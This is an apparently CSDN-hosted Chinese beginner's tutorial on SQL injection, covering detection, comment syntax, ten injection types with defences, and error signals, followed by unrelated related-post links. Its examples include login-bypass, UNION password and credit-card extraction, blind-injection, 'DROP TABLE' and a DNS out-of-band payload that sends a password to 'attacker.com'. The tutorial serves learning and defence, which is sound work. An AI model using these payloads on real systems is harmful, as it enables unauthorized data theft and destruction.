SQL注入入门(持续更新中)

sql各种注入案例 GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。GTID_SUBSET函数。 阅读详情

SQL注入入门(持续更新中)

sql是什么?

sql适用于管理关系数据库系统的语言(结构化查询语言Structured Query Language)

  • SQL 指结构化查询语言,全称是 Structured Query Language。
  • SQL 让您可以访问和处理数据库,包括数据插入、查询、更新和删除。
  • SQL 语言采用英语关键词,使其易读易写。
  • SQL 由国际标准化组织(ISO)和美国国家标准协会(ANSI)标准化。
  • SQL 提供了丰富的操作数据的功能,从简单的查询到复杂的数据库管理操作。

总的来说,SQL 通过一系列的语句和命令来执行数据定义、数据查询、数据操作和数据控制等功能,包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。

那么sql注入又是什么?

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,干扰应用程序的数据库查询,从而执行未经授权的操作。这种攻击可能导致数据泄露、数据篡改、甚至完全控制数据库服务器。

sql注入原理

其核心原理是应用程序未对用户的输入进行充分验证或转义,直接将用户输入的内容拼接到sql查询中。(这可能讲的很抽象,下面具体说明一下)

SQL注入是一种利用应用程序对用户输入处理不当,将恶意SQL代码注入到数据库查询中的攻击手段。以下是其原理的详细分步解释:

1. 应用程序动态构造SQL语句

当应用程序需要与数据库交互时(如用户登录、数据检索),常通过拼接用户输入的数据来构建SQL查询。例如:(如果下面的[]内是某一输入框)

SELECT * FROM users WHERE username = '[用户输入的用户名]' AND password = '[用户输入的密码]';

2. 恶意输入构造

攻击者在输入字段中插入特殊字符或SQL代码片段,改变原查询逻辑。例如:

  • 绕过登录验证:输入用户名 ' OR '1'='1,密码任意,构造的查询变为:

    SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '任意';
    

    此时 '1'='1' 恒为真,可能绕过密码验证。

  • 执行危险操作:输入 '; DROP TABLE users; --,查询变为:

    SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
    

    分号结束原查询后,执行删除表操作,-- 注释掉后续代码。

3. 利用数据库响应

  • 直接执行:注入的代码被数据库执行,导致数据泄露、篡改或破坏。
  • 信息泄露:通过错误信息或返回结果推断数据库结构(如通过UNION查询获取其他表数据)。

4. 成功条件

  • 未过滤输入:用户输入直接拼接到SQL语句中。
  • 权限过高:数据库账户拥有不必要的权限(如删除表)。
  • 错误暴露:数据库错误信息直接返回给用户,帮助攻击者调整注入代码。

5. 防御措施

  • 参数化查询(预编译):使用占位符替代用户输入,确保输入被视为数据而非代码。
  • 输入验证与过滤:对特殊字符(如引号、分号)进行转义或拒绝非法格式。
  • 最小权限原则:数据库连接账户仅授予必要权限。
  • 错误处理:避免向用户暴露详细数据库错误信息。
  • 安全工具:使用ORM框架(如Hibernate)、Web应用防火墙(WAF)等自动化防护。

攻击变种示例

  • 联合查询注入:' UNION SELECT credit_card, null FROM payments -- 联合查询其他敏感表。
  • 布尔盲注:通过页面真假响应推测数据内容(如 AND SUBSTRING(password,1,1)='a')。
  • 时间盲注:利用延时函数(如 SLEEP(5))判断查询条件是否成立。

总结

SQL注入的核心在于将用户输入错误地解析为SQL代码。通过严格控制输入处理、采用安全编程实践,可有效防范此类攻击。

sql注入类型

判断注入类型

数字型注入

即输入的参数是数字,sql语句是数字型

select * from article where X = 1 and xxxxx;

判断方式

1、参数值后面输入单引号

?X = 1'

select * from article where X = 1' and xxxxx;

数据库无法执行就会报错,说明存在SQL注入

2、通过and 1=1 ,and 1=2 判断

?X = 1 and 1=1
?x = 

select * from article where X = 1 and 1=1 and xxxxx;

select * from article where X = 1 and 1=2 and xxxxx;

若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明拼接成功

为数字型。

反之为字符型。

字符型注入

单引号/双引号/括号的闭合

select * from article where X = ' 1 ' and xxxxx;
?X = 1'
select * from article where X = ' 1 '' and xxxxx;

可以在最后加上注释符把后面的闭合符号和语句直接注释掉

?X = 1'#
select * from article where X = ' 1 '#' and xxxxx;

sql中的注释符

mysql中注释符:#   、/**/ 、  --

#,-- 为单行注释

/**/ 为多行注释

sql注入的方式

尝试sql注入(对任意输入框)

做法:

为了测试是否存在SQL注入漏洞,可以尝试输入一些特殊字符,比如:

  1. 单引号(’):如果输入1’,可能导致SQL语法错误,如果页面返回错误信息,说明可能存在注入点。
  2. 布尔逻辑测试:例如输入1’ OR ‘1’='1,如果返回所有记录,说明注入成功。
  3. 联合查询(UNION SELECT):尝试确定列数,然后通过联合查询获取其他数据。

总结可能的步骤:

  1. 验证注入点:输入“1’”查看是否出现语法错误。
  2. 确定列数:使用“ORDER BY”子句或“UNION SELECT”来确定查询返回的列数。
  3. 利用联合查询:构造UNION查询来获取其他表的数据。
  4. 提取信息:如数据库版本、表名、列名等。

以下是常见的 SQL注入类型 及其详细说明,适用于学习与理解:


1. 基于错误的注入

  • 原理:通过触发数据库错误,利用错误信息泄露数据或结构。

  • 场景:后端直接显示数据库错误(如未过滤单引号)。

  • 示例:

    ' OR 1=CONVERT(int, (SELECT @@version)) -- 
    
    • 触发类型转换错误,泄露数据库版本信息。
  • 防御:禁用错误回显,使用参数化查询。


2. 联合查询注入

  • 原理:利用 UNION 操作符合并合法查询与恶意查询,直接返回额外数据。

  • 场景:页面可显示查询结果(如用户列表)。

  • 示例:

    ' UNION SELECT username, password FROM users -- 
    
    • 前提:需匹配列数和数据类型。
  • 防御:限制查询权限,过滤 UNION 等关键字。


3. 布尔盲注

  • 原理:通过页面响应的“真/假”差异推断数据(如内容是否存在)。

  • 场景:页面无错误回显,但会根据条件显示不同内容。

  • 示例:

    ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1) = 'a' -- 
    
    • 若密码第一位是 a,页面正常;否则异常。
  • 防御:统一错误页面,限制查询逻辑。


4. 时间盲注

  • 原理:通过条件触发时间延迟(如 SLEEP() 函数),推断数据是否存在。

  • 场景:页面无任何内容差异,但可感知响应时间。

  • 示例:

    ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) -- 
    
    • 若密码第一位是 a,页面延迟5秒。
  • 防御:禁用危险函数(如 SLEEP),限制查询执行时间。


5. 堆叠查询注入

  • 原理:通过分号 ; 执行多条SQL语句,实现增删改操作。

  • 场景:支持多语句执行的数据库(如SQL Server、PostgreSQL)。

  • 示例:

    '; DROP TABLE users; -- 
    
    • 直接删除用户表。
  • 防御:禁用多语句执行,严格过滤分号。


6. 二阶注入

  • 原理:恶意输入先被存储(如注册信息),后续操作触发注入。

  • 场景:数据经过初步过滤,但使用时未二次校验。

  • 示例:

    注册用户名:admin' -- 
    后续查询:SELECT * FROM users WHERE username='admin' -- ';
    
    • 攻击者通过已存储的恶意数据篡改查询。
  • 防御:对所有输入(包括存储数据)进行彻底过滤。


7. 带外注入

  • 原理:利用数据库网络功能(如DNS请求、HTTP调用)外传数据。

  • 场景:注入结果无法直接返回,但可触发外部交互。

  • 示例(MySQL):

    ' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\test')) -- 
    
    • 通过DNS请求将密码发送到攻击者控制的域名。
  • 防御:限制数据库外联权限,监控异常流量。


8. 宽字节注入

  • 原理:利用编码转换漏洞绕过转义(如GBK字符集)。

  • 场景:后端使用特定字符集且未正确处理转义。

  • 示例:

    %bf' OR 1=1 -- 
    
    • %bf 与转义符 \ 结合形成合法字符,破坏引号闭合。
  • 防御:统一使用UTF-8编码,避免宽字节漏洞。


9. 报错注入

  • 原理:结合聚合函数与错误函数,强制触发错误泄露数据。

  • 示例(MySQL):

    ' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- 
    
    • 利用 GROUP BY 报错泄露密码。
  • 防御:禁用详细错误回显。


10. 基于HTTP头的注入

  • 原理:注入点位于HTTP头(如 User-Agent、Cookie)。

  • 示例:

    User-Agent: ' OR 1=1 -- 
    
    • 后端将 User-Agent 拼接到查询语句中。
  • 防御:对所有输入源(包括HTTP头)进行过滤。


总结

  • 检测工具:可结合 sqlmap 等工具自动化测试。
  • 防御核心:始终使用参数化查询(如PDO预处理语句),避免拼接SQL语句。
  • 法律与道德:仅用于授权测试,禁止非法攻击。

掌握这些类型后,可通过靶场(如DVWA、SQLi Labs)进行实践,深入理解漏洞原理与利用方式。

回显类型:(报错类型)

1. 显式数据库错误信息

  • 表现形式:
    页面直接显示数据库报错内容,例如:

    You have an error in your SQL syntax; check the manual near ''1''' at line 1
    
    • 意义:
      明确暴露数据库类型(如MySQL、PostgreSQL)和错误位置,说明输入未被过滤且直接拼接到了SQL语句中。
    • 后续利用:
      可根据错误信息调整注入语句,例如闭合引号或添加联合查询。

2. HTTP状态码异常

  • 表现形式:
    返回500 Internal Server Error或其他非200状态码。
    • 意义:
      后端因SQL语法错误导致服务器崩溃或异常,间接表明存在注入漏洞。
    • 注意:
      需结合其他测试确认是否为SQL注入导致(如输入1'与普通输入对比)。

3. 页面内容异常

  • 表现形式:
    • 页面部分内容缺失或结构混乱。
    • 显示空白页面或“查询失败”等通用提示。
    • 正常数据被替换为异常值(如NULL)。
    • 意义:
      虽然未显示详细错误,但SQL逻辑已被破坏,说明注入尝试影响了查询结果。

4. 时间延迟(时间盲注)

  • 表现形式:
    输入特定语句后页面加载时间显著延长,例如:

    sql

    复制

    1' AND SLEEP(5) -- 
    
    • 意义:
      若页面响应延迟5秒,说明SLEEP()函数被执行,存在时间盲注漏洞。
    • 适用场景:
      后端不返回错误信息,但可通过时间差判断注入是否成功。

5. 布尔逻辑异常(布尔盲注)

  • 表现形式:
    • 输入1' AND 1=1 --时页面正常。
    • 输入1' AND 1=2 --时页面无数据。
    • 意义:
      通过页面内容的差异可推断SQL条件是否成立,间接确认漏洞。

6. 数据库信息泄露

  • 表现形式:
    错误信息中泄露数据库结构,例如:

    sql

    复制

    Unknown column 'admin' in 'where clause'
    
    • 意义:
      攻击者可利用这些信息构造精准的注入语句(如猜解表名、字段名)。

总结:如何判断报错标志?

  1. 对比测试:输入合法值(如1)与注入语句(如1'),观察响应差异。
  2. 关注细节:检查页面内容、HTTP状态码、响应时间等。
  3. 利用工具:使用sqlmap等自动化工具辅助检测。

以下是常见的 SQL注入类型 及其详细说明,适用于学习与理解:


入理解漏洞原理与利用方式。

SQL注入攻击实战演示(附源码) SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。 阅读详情

相关推荐

SQL注入网站实例:注入步骤

在第三部分,我们主要是详细的给大家演示,如何对一个网站进行SQL注入入侵的,这个入侵过程中,它是如何发现注入点的,发现和测试注入点之后,我们要如何来获得爆库、爆表、爆密码,甚至控制后台,一旦获得网站控制后台之后,更有甚者,要如何与数据库层、系统层进行交互提权,以便进一步控制数据库和操作系统,所有这些又是如何发生的我们将通过详细的注入实例,我们从中吸取教训,从安全角度来说,我们要如何来预防mysql注入的高级黑客,这就是我们第三部分所要解决的问题。

老司机的后备箱 1072

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了

sql注入简单例子(非常详细),零基础入门到精通,看这一篇就够了

weixin_51725318的博客 6564

【WAF剖析】——sql注入之奇淫巧技bypass(持续更新中)

记录我自己认为的平时比较好用的bypass技巧,都是经过了实战渗透检测的,目前内容较少,会实时更新,建议收藏

Demo不是emo的博客 8192

一文带你学习SQL注入

但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。下面是一个在Java中调用存储过程的例子,其中。

大河之犬的博客 6966

Burpsuite靶场——SQL注入

Burpsuite靶场——SQL注入漏洞详解,带你了解并从根源上解决SQL注入问题。

小林说安全的博客 6196

Unity中实现FairyGUI弹窗背景模糊的3种方法对比(附完整代码)

本文详细对比了Unity中实现FairyGUI弹窗背景模糊的3种方法,包括FairyGUI原生滤镜方案、多摄像机混合渲染方案和渲染纹理动态混合方案。每种方法均附有完整代码示例,帮助开发者根据项目需求选择最佳方案,实现镜头虚化模糊效果,提升游戏UI的视觉沉浸感。

ff678的博客 232

【ctfshow持续更新中】web入门-sql注入

ctfshow-web入门-sql注入

qq_55830703的博客 1317

Nvidia Isaac Sim安装与配置 入门教程 2024(2)

Isaac Sim 安装和配置教程将指导用户完成从下载软件到设置和运行仿真的全过程。教程内容包括安装必要的依赖项、配置系统环境、配置Omniverse环境以及调试和优化仿真环境的步骤。通过详细的操作步骤和图文并茂的说明,用户可以快速上手 Isaac Sim,构建出高质量的机器人仿真环境,实现其研究和应用目标。

m0_56661101的博客 2万+

ctfshow web入门 sql注入(持续更新)

文章目录web171web172web173web174web175web176web177web178 web171 第一题嘛,都是最基础的,单引号闭合,用联合查询注入即可。 1' order by 3-- - -1' union select 1,2,3-- - # 库名是ctfshow_web -1' union select 1,database(),3-- - # 表名是ctfshow_user -1' union select 1,group_concat(table_name),3 fro

Lum1n0us's Blog 1570

Android音频学习(一)——音频基础

在系统的学习Android音频之前,先了解音频的基础知识。

miemie2014的博客 1484

告别SquareLine!用免费的NXP GUI-Guider为海思3516AV300开发LVGL界面(附完整移植流程)

本文详细介绍了如何利用免费的NXP GUI-Guider工具为海思Hi3516AV300开发LVGL界面,包括环境配置、代码移植和性能优化等全流程实战指南。特别针对二维码组件缺失等常见问题提供解决方案,帮助开发者零成本构建高效嵌入式GUI系统。

weixin_28292761的博客 416

ctf php sql注入,CTFshow-WEB入门-SQL注入(下)(持续更新)

web227按照上一题的方法,发现查不出flag表了,把ctfshow_user表给爆了一下也没flag,然后写一句话马,蚁剑连上去还是找不到flag,人傻了。。。看了一下y4师傅的WP,原来这题考的是存储过程:存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过...

weixin_35519039的博客 611

基于知识图谱的电影推荐系统——Neo4j&Python

也可直接从这里下载:链接: https://pan.baidu.com/s/1l6wjwcUzy5G_dIlVDbCkpw 提取码: pkq6。修改main.py中的driver,输入自己数据库的用户名与密码。系统会询问是否需要重新加载并创建知识图谱,在第一次时输入1。

weixin_46351593的博客 6356

CTF新手入门书籍

CTF新手入门书籍 文章目录CTF新手入门书籍熟悉网络协议图解HTTP 熟悉网络协议 图解HTTP 推荐理由简单一读,没有阅读障碍,可以初步了解HTTP协议以及各种head报文,有助于web方向ctf基础入门。 试读:https://www.jianshu.com/p/d3268aa4ae84 看完书就更新。。。。。持续更新未完待续 ...

wxy201008的博客 7643

echarts的坐标轴处理算法

参考原文:https://www.cnblogs.com/vicky-li/p/11653415.html。2、可用于双轴的情况,指定splitNumber,保证左右两边的线没有交叉显示的情况。1、设置echarts显示的最大最小值,让数据显示比较有起伏。处理echarts的一些问题。

HYeeee的博客 801

第一章:Profibus DP通信简介

PROFIBUS (Process Fieldbus)的缩写,是一种国际化的、开放的、不依赖于设备生产商的现场总线标准。它广泛应用于制造业自动化、流程工业自动化和楼宇、交通、电力等其他工业自动化领域。串行现场总线主要用来连接数字现场设备或中、低功能的系统,如传感器、执行机构、变送器、可编程序控制器(PLC)、数控装置(NC)、编程设备、本地人机接口等。

qq_22560021的博客 4896

CTF Web SQL注入专项整理(持续更新中)

SQL注入专项整理

m0_73734159的博客 6281

Coze 打通飞书多维表格,实现数据增删改查操作实战详解

基于Coze 打通飞书多维表实现数据录入系统实战详解

congge 5781

SQL各种注入详解加案例--持续更新

在sql执行的时候,floor是向下取整,配合rand(0)*2产生的前五位数字一定是01101,这下就简单了,我们来模拟group_by过程,遍历 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;id=1”,这里的?时间盲注和布尔盲注的区别是,不管输入的数据正不正确只显示一个跳转页面,当然在注入的时候可以加一个sleep函数使得页面进行沉睡,当访问正确的时候,页面沉睡几秒后跳转,访问错误页面即可跳转。1,当输入Less-1/?

m0_72286569的博客 3488

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Sql注入思路及类型(持续更新ing)

不同类型SQL注入的原理以及步骤

xhx836161547的博客 989

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

SQL注入语句笔记(很全,持续更新ing)

1.参数用户可控化:前端传递给后端的参数是用户可以控制的2.参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询sql注入常用知识:1.information_schema:表示所有信息,包括库、表、列2.information_schema.tables:记录所有表名信息的表3.information_schema.columns:记录所有列名信息的表4.table_schema:数据库的名称5.table_name:表名6.column_name:列名。

weixin_62512865的博客 1198

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

SQL注入—MYSQL基础语句(持续更新)附图

SQL注入—mysql基础语句 简介:常见的Web安全漏洞中,SQL注入利用和危害极大,通过其可以直接获取数据表的内容,从而获得Web站点的账号和密码,在学习SQL注入时,我们需要先对常见的数据库基础进行学习和了解。 MYSQL基础语句 一:数据库操作 1,在当前数据库管理系统中创建/删除数据库:create/drop dadabase websec; 2,查看当前数据库管理系统下所有数据库:show databases; 3,使用(进入)操作的数据库,use websec; 二:数据表操作 1,创建数据

weixin_44431280的博客 5905

SQL注入(持续更新)

找到了flag,因为爆数据的关键词被过滤了,所以这里用handlar命令来获取flag。,出现类似黑名单的东西,过滤了部分关键词,尝试堆叠注入。确定为SQL注入,联合注入,查询数据库的字段数。猜测是SQL注入,直接输入1'试试。

2402_87078084的博客 374

【ctf】基于python脚本的sql注入合集(持续更新)

基于python脚本的sql注入合集(持续更新) 前言 sql注入在ctf的web方向中是常见提醒。简单的sql注入用sqlmap跑一跑自然而然就跑出来了。这篇文章是针对sqlmap跑起来困难的题目,也就是用python写脚本来跑的题目。 那么这种写脚本的题目也有不同的注入方式,例如布尔盲注、时间盲注、异或注入等等,都是通过写脚本来获取sql信息的。这篇文章就写下我认为比较有价值的写脚本题型! 布尔盲注 分析题目 N1BOOK [第一章 web入门]SQL注入-2 这题其实有很多解法,这里我选择比较简答的

woodwhale的博客 6719

【CTF】CTFshow-SQL注入(持续更新)

CTFshow sql

qq_53099119的博客 1227

网络安全之SQL注入学习(持续更新)

目录 1.什么是SQL注入? web应用程序三层架构:视图层 + 业务逻辑层 + 数据访问层 2.SQL注入中的一些小知识 1.)数据库服务器层级关系: 2.)SQL语句语法 1。查询当前数据库服务器所有的的数据库 2。选中莫个数据库 3。查询当前数据库所有的表 4。查询t1表所有数据 3).SQL注入之MySQL数据库 1.什么是SQL注入? SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中...

qq_52074678的博客 1836
下一篇: sql(ctf实用篇
seroneeeeee
博客等级 码龄2年 40粉丝 5原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值